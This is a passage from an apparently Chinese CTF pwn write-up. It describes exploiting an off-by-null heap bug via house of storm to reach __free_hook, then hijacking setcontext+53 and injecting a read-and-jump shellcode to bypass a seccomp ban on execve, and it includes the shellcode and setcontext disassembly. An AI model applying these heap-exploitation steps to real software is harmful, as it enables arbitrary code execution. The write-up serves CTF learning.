题目分析
程序还有沙箱保护,把execve禁用了,只能orw了
在init中还把fastbin关了
在edit中有一个off-by-null溢出,以前这种情况都是用unlink进行攻击,不过这题我们没有地址所以无法使用
漏洞利用
这题一开始先利用house of storm漏洞分配到__free_hook
附近的内存
关于house of storm的利用方法请见这篇文章:
BUUCT-PWN 0ctf_2018_heapstorm2(house of storm)
因为本题禁用了execve,所以我们就不考虑写入system的地址了,本题采用的是mprotect+shellcode注入的做法,思路来源是星盟的WP(RCTF2019 pwn writeup 集合)
首先,我们把setcontent+53的地址写入__free_hook
,并在其之后0x10字节内存中写上两遍__free_hook
+0x18的地址,最后把如下shellcode1写入:
xor rdi,rdi
mov rsi,%d
mov edx,0x1000
mov eax,0
syscall
jmp rsi
setcontext的主要代码如下:
<setcontext>: push rdi
<setcontext+1>: lea rsi,[rdi+0x128]
<setcontext+8>: xor edx,edx
<setcontext+10>: mov edi,0x2
<setcontext+15>: mov r10d,0x8
<setcontext+21>: mov eax,0xe
<setcontext+26>: syscall
<setcontext+28>: pop rdi
<setcontext+29>: cmp rax,0xfffffffffffff001
<setcontext+35>: jae 0x7ffff7a54bc0 <setcontext+128>
<setcontext+37>: mov rcx,QWORD PTR [rdi+0xe0]
<setcontext+44>: fldenv [rcx]
<setcontext+46>: ldmxcsr DWORD PTR [rdi+0x1c0]
<setcontext+53>: mov rsp,QWORD PTR [rdi+0xa0]
<setcontext+60>: mov rbx,QWORD PTR [rdi+0x80]
<setcontext+67>: mov rbp,QWORD PTR [rdi+0x78]
<setcontext+71>: mov r12,QWORD PTR [rdi+0x48]
<setcontext+75>: mov r13,QWORD PTR [rdi+0x50]
<setcontext+79>: mov r14,QWORD PTR [rdi